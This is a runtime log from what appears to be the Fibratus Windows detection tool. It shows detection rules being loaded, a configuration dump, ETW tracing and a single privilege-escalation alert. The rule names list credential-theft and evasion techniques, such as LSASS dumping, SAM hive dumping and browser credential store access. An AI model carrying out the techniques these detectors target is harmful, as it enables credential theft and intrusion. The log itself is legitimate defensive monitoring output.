C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:04:32+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:04:32+01:00 level=info msg=bootstrapping with pid 19944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:04:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html use-template=>true enabled=>false port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-audit-api=>true flush-interval=>1s max-buffers=>36 enable-registry=>true enable-threadpool=>false enable-vamap=>true enable-image=>true enable-fileio=>true enable-dns=>false enable-handle=>false stack-enrichment=>true enable-mem=>false enable-net=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text level=>info max-age=>0 max-size=>100] + output ......................... [ elasticsearch=>[ enabled=>false index-name=>fibratus healthcheck=>true sniff=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s timeout=>5s template-name=>fibratus] http=>[ timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false endpoints=>[] method=>POST enabled=>false] amqp=>[ routing-key=>fibratus passive=>false durable=>false enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ timeout=>5s exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false skip-registry=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-mmaps=>false fastscan=>true enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:04:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:04:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:06:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:06:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:06:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:06:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:06:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:06:56+01:00 level=info msg=bootstrapping with pid 12864. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:06:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html port=>25 use-template=>true enabled=>false to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-mem=>false flush-interval=>1s stack-enrichment=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true min-buffers=>16 enable-thread=>true enable-handle=>false enable-threadpool=>false enable-vamap=>true enable-dns=>false enable-image=>true max-buffers=>36 enable-fileio=>true enable-registry=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 level=>info max-backups=>15 log-stdout=>true] + output ......................... [ amqp=>[ exchange=>fibratus delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false durable=>false enabled=>false routing-key=>fibratus vhost=>/ passive=>false url=>amqp://localhost:5672 timeout=>5s] elasticsearch=>[ trace-log=>false healthcheck-interval=>10s sniff=>false index-name=>fibratus healthcheck=>true flush-period=>1s timeout=>5s gzip-compression=>false bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false] http=>[ timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] excluded-files=>[] enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true scan-timeout=>10s skip-files=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:06:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:06:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:07:17+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): source=action/alert.go:37 +time=2025-11-20T17:07:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:07:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:07:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:09:13+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:09:13+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml 